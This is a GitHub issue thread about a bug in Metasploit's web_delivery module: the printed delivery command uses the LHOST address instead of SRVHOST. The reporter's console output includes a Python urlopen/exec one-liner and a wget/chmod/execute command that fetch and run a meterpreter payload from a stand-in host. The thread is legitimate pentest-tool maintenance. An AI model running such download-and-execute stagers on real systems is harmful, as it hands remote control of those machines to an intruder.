web_delivery module serves payload over LHOST, not SRVHOST

[jeffmcjunkin]

Steps to reproduce

On a recent penetration test I was limited to very few outbound ports per public IP, so I set up exploit/multi/script/web_delivery to deliver a payload to a second machine (configuring LHOST to that other machine and catching it there with exploit/multi/handler).

However, I didn't notice at first that the SRVHOST variable isn't reflected properly in the output instructions -- it's there substituted with the LHOST variable. Manually swapping the IP address in the python, wget, etc output from the incorrect LHOST to the correct SRVHOST resolved the issue, but it's worth fixing in the actual module.

msf6 exploit(multi/script/web_delivery) > set SRVHOST
SRVHOST => 1.1.1.1
msf6 exploit(multi/script/web_delivery) > set LHOST
LHOST => 2.2.2.2
msf6 exploit(multi/script/web_delivery) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 2.

[*] Using URL: http://2.2.2.2:8080/fwQ6XOYFYNL
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://2.2.2.2:8080/fwQ6XOYFYNL', context=ssl._create_unverified_context());exec(r.read());"
msf6 exploit(multi/script/web_delivery) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Python
   1   PHP
   2   PSH
   3   Regsvr32
   4   pubprn
   5   SyncAppvPublishingServer
   6   PSH (Binary)
   7   Linux
   8   Mac OS X


msf6 exploit(multi/script/web_delivery) > set target 7
target => 7
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter_reverse_https
payload => linux/x64/meterpreter_reverse_https
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 3.

[*] Using URL: http://2.2.2.2:8080/CMFQe7Yzl40p
[*] Server started.
[*] Run the following command on the target machine:
wget -qO PEpx3AGM --no-check-certificate http://2.2.2.2:8080/CMFQe7Yzl40p; chmod +x PEpx3AGM; ./PEpx3AGM& disown
msf6 exploit(multi/script/web_delivery) > version
Framework: 6.2.3-dev-
Console  : 6.2.3-dev-

Encountered on Ubuntu 20.04 x64 on the latest nightly Metasploit installer.

Expected behavior

The provided output (in the above snippet, that'd be wget -qO PEpx3AGM --no-check-certificate http://2.2.2.2:8080/CMFQe7Yzl40p; chmod +x PEpx3AGM; ./PEpx3AGM& disown) should have the URL as http://1.1.1.1:8080/CMFQe7Yzl40p.

Metasploit version

msf6 exploit(multi/script/web_delivery) > version
Framework: 6.2.3-dev-
Console  : 6.2.3-dev-
msf6 exploit(multi/script/web_delivery) > dpkg -l metasploit-framework
[*] exec: dpkg -l metasploit-framework

Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                 Version                        Architecture Description
+++-====================-==============================-============-======================================
ii  metasploit-framework 6.2.3+20220616102617~1rapid7-1 amd64        The full stack of metasploit-framework

[github-actions[bot]]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[jeffmcjunkin]

Beep boop. This issue is not stale, and I encountered it again two weeks ago.

[adfoster-r7]

I haven't had a cycle to look into this or verify it yet, but if it's a regression in behavior then potentially https://github.com/rapid7/metasploit-framework/pull/16250 may be related

[woOzZ2]

I haven't had a cycle to look into this or verify it yet, but if it's a regression in behavior then potentially #16250 may be related

I'm having the same issue, the value of srvhost will be overridden by lhost anyway, and the way of #16250 will not get any improvement